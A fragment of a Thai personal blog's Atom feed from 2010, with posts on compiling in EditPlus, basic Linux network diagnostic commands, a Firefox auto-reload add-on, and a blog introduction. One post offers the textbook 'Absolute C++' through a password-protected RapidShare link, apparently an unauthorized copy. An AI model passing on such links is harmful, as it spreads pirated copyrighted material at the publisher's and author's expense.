&gt;&lt;a href="http://www.thaishadow.com/viewthread.php?tid=3705"&gt;Editplus Compile C/C++&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-5358880603198762866?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/5358880603198762866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/perl-compile-on-editplus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/5358880603198762866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/5358880603198762866'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/perl-compile-on-editplus.html' title='Perl : Compile on EditPlus'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-6389985508196468327</id><published>2010-04-17T16:09:00.000+07:00</published><updated>2010-04-17T16:26:34.253+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WALTER SAVITCH'/><category scheme='http://www.blogger.com/atom/ns#' term='Absolute C++'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Absolute C++</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;Absolute C++ write by WALTER SAVITCH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img name="c" src="http://ecx.images-amazon.com/images/I/51FKT7ZX4HL._SS500_.jpg" alt="" width="200" height="200" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Description&lt;br /&gt;&lt;br /&gt;This book also includes an introduction to patterns and the Unified Modeling Language (UML). Since many computer science curricula postpone recursions to a second computer science course, the book includes a full chapter on recursion.&lt;br /&gt;&lt;br /&gt;The C++ coverage in this book is very complete, going well beyond what a beginner needs to know. In particular, there is extensive coverage of inheritance, polymorphism, and exception handling in C++. There is also extensive material on the Standard&lt;br /&gt;&lt;br /&gt;Template Library (STL), as well as an introduction to patterns and the Unified Modeling Language (UML). Since many computer science curricula postpone recursion to a second computer science course, the book includes a full chapter on recursion.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Chapter 1 C++ Basics1&lt;br /&gt;&lt;br /&gt;Chapter 2 Flow of Control&lt;br /&gt;&lt;br /&gt;Chapter 3 Function Basics&lt;br /&gt;&lt;br /&gt;Chapter 4 Parameters and Overloading&lt;br /&gt;&lt;br /&gt;Chapter 5 Arrays&lt;br /&gt;&lt;br /&gt;Chapter 6 Structures and Classes&lt;br /&gt;&lt;br /&gt;Chapter 7 Constructors and Other Tools&lt;br /&gt;&lt;br /&gt;Chapter 8 Operator Overloading, Friends, and References&lt;br /&gt;&lt;br /&gt;Chapter 9 Strings&lt;br /&gt;&lt;br /&gt;Chapter 10 Pointers and Dynamic Arrays&lt;br /&gt;&lt;br /&gt;etc.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;@GokU อ่านละเข้าใจขึ้นเยอะ มั่ง :p&lt;/p&gt;&lt;br /&gt;Download : &lt;a href="http://rapidshare.com/files/376862298/Absolute.C.plus.plus.rar.html"&gt;Absolute C++&lt;/a&gt;&lt;br /&gt;pass : &lt;span style="color: rgb(0, 0, 0);"&gt;goku&lt;/span&gt;  (ลากคลุม)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-6389985508196468327?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/6389985508196468327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/absolute-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6389985508196468327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6389985508196468327'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/absolute-c.html' title='Absolute C++'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-3607580877501515716</id><published>2010-04-16T21:17:00.000+07:00</published><updated>2010-04-17T18:02:01.996+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network'/><category scheme='http://www.blogger.com/atom/ns#' term='wallpaper'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='netstat'/><category scheme='http://www.blogger.com/atom/ns#' term='command linux'/><title type='text'>Linux Command :)</title><content type='html'>&lt;style type="text/css"&gt;&lt;!-- .style2 {font-family: Tahoma} --&gt;&lt;/style&gt;&lt;br /&gt;&lt;p class="style2"&gt;วันนี้นั่งเล่น nb ที่ลง ubuntu ว่างๆ เลยหา search google เล่นไปเจอมาคำสั่งที่ใช้ในระบบปฎิบัติการ Linux เอาไว้ให้เราจะเช็คการเชื่อมต่อของระบบเน็ตเวิร์ค ซึ่งสามารถทดสอบด้วยคำสั่งต่างๆ&lt;/p&gt;&lt;br /&gt;&lt;p class="style2"&gt;$ ping google.com           # check Internet connection&lt;br /&gt;&lt;br /&gt;$ traceroute google.com # trace IP packets&lt;br /&gt;&lt;br /&gt;$ ifconfig                         # check host config&lt;br /&gt;&lt;br /&gt;$ route -n                        # check routing config&lt;br /&gt;&lt;br /&gt;$ ipchains -L -n |less      # check packet filter (2.2 kernel)&lt;br /&gt;&lt;br /&gt;$ iptables -L -n |less       # check packet filter (2.4 kernel)&lt;br /&gt;&lt;br /&gt;$ netstat -a                     # find all open ports&lt;br /&gt;&lt;br /&gt;$ netstat -l --inet           # find listening ports&lt;br /&gt;&lt;br /&gt;$ netstat -ln --tcp          # find listening TCP ports (numeric)&lt;/p&gt;&lt;br /&gt;&lt;p class="style2"&gt;Ref.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.debianhelp.co.uk/network.htm"&gt;http://www.debianhelp.co.uk/network.htm&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="style2"&gt;@GokU แถม ๆ wallpaper คำสั่งของ linux &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a target="_blank" title="ImageShack - Image And Video Hosting" href="http://img21.imageshack.us/i/linuxwallpaperforbeginn.jpg/"&gt;&lt;img src="http://img21.imageshack.us/img21/9750/linuxwallpaperforbeginn.jpg" width="150" border="0" height="150" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-3607580877501515716?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/3607580877501515716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/linux-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3607580877501515716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3607580877501515716'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/linux-command.html' title='Linux Command :)'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-8995795953536103552</id><published>2010-04-16T01:57:00.000+07:00</published><updated>2010-04-16T02:34:14.558+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reload'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='F5'/><category scheme='http://www.blogger.com/atom/ns#' term='add-on firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='add-ons'/><title type='text'>F5 : Add-on Firefox :)</title><content type='html'>&lt;p style="font-family: tahoma;"&gt;&lt;a onblur="try  {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ohunkSrOnac/S8dky3sYHVI/AAAAAAAAAAM/Ij9eciseJUM/s1600/01.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 228px; height: 79px;" src="http://1.bp.blogspot.com/_ohunkSrOnac/S8dky3sYHVI/AAAAAAAAAAM/Ij9eciseJUM/s320/01.jpg" alt="" id="BLOGGER_PHOTO_ID_5460443898316332370" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;ไม่มีไรทำ..หลังจากทำblog เส็ด   :p&lt;br /&gt;&lt;br /&gt;เราก็เลยหาไรเกรียนๆ ทำไปเจอเพื่อนคนนึง msn มาถาม&lt;br /&gt;"&lt;span style="font-weight: bold;"&gt;มีวิธียังไงบ้างให้ ออนบอร์ดไว้ได้ตลอดเวลา แบบว่าจะออนเก็บเวลา&lt;/span&gt;"&lt;br /&gt;(โดยปกติถ้าเราออนเฉยๆ ไม่ได้ทำไร บอร์ดมันจะสคริปเตะเราออก ประมานนั้น)&lt;br /&gt;&lt;br /&gt;คิดในใจ จะออนทำไมฟะ เสียเวลา ไม่ได้ทำไรก้ออกดิ -0-&lt;br /&gt;&lt;br /&gt;คิดไปคิดมา จำได้ว่าเคยใช้ add-on หมาไฟ อยู่ เอาไว้เล่นทราเวียน ฮาๆ&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;add-on name : ReloadEvery&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;&lt;a onblur="try  {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ohunkSrOnac/S8dkzGocFEI/AAAAAAAAAAU/-Pg3EPDPrk4/s1600/02.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 307px; height: 320px;" src="http://2.bp.blogspot.com/_ohunkSrOnac/S8dkzGocFEI/AAAAAAAAAAU/-Pg3EPDPrk4/s320/02.jpg" alt="" id="BLOGGER_PHOTO_ID_5460443902326346818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: tahoma;"&gt;&lt;br /&gt;@GokU คงใช้กันเป็น :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-8995795953536103552?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/8995795953536103552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/f5-add-on-firefox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/8995795953536103552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/8995795953536103552'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/f5-add-on-firefox.html' title='F5 : Add-on Firefox :)'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ohunkSrOnac/S8dky3sYHVI/AAAAAAAAAAM/Ij9eciseJUM/s72-c/01.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-2414141015187647544</id><published>2010-04-16T00:31:00.000+07:00</published><updated>2010-04-16T03:19:50.422+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Opkwin'/><category scheme='http://www.blogger.com/atom/ns#' term='THD'/><category scheme='http://www.blogger.com/atom/ns#' term='GokU'/><title type='text'>แนะนำตัวกันก่อนนะ GokU</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;ในที่สุดก็ทำเส็ดได้ หลังจากพยายามมา&lt;/span&gt;&lt;span style="font-weight: bold;font-family:tahoma;font-size:100%;"  &gt; 1 วันเต็มมมม&lt;/span&gt;&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;  ก้อเห็นเพื่อนๆ พี่ๆ ใน Thd เค้ามีกัน ไอ้เราก้อยากมีบ้าง 555+ เกรียนที่ซู๊ดดด&lt;br /&gt;&lt;br /&gt;blog นี้ก้จะเอาไว้บ่นไรเล่นๆ เวลาไม่มีไรทำ :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:tahoma;"&gt;@GokU&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-2414141015187647544?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/2414141015187647544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/04/goku_15.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/2414141015187647544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/2414141015187647544'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/04/goku_15.html' title='แนะนำตัวกันก่อนนะ GokU'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
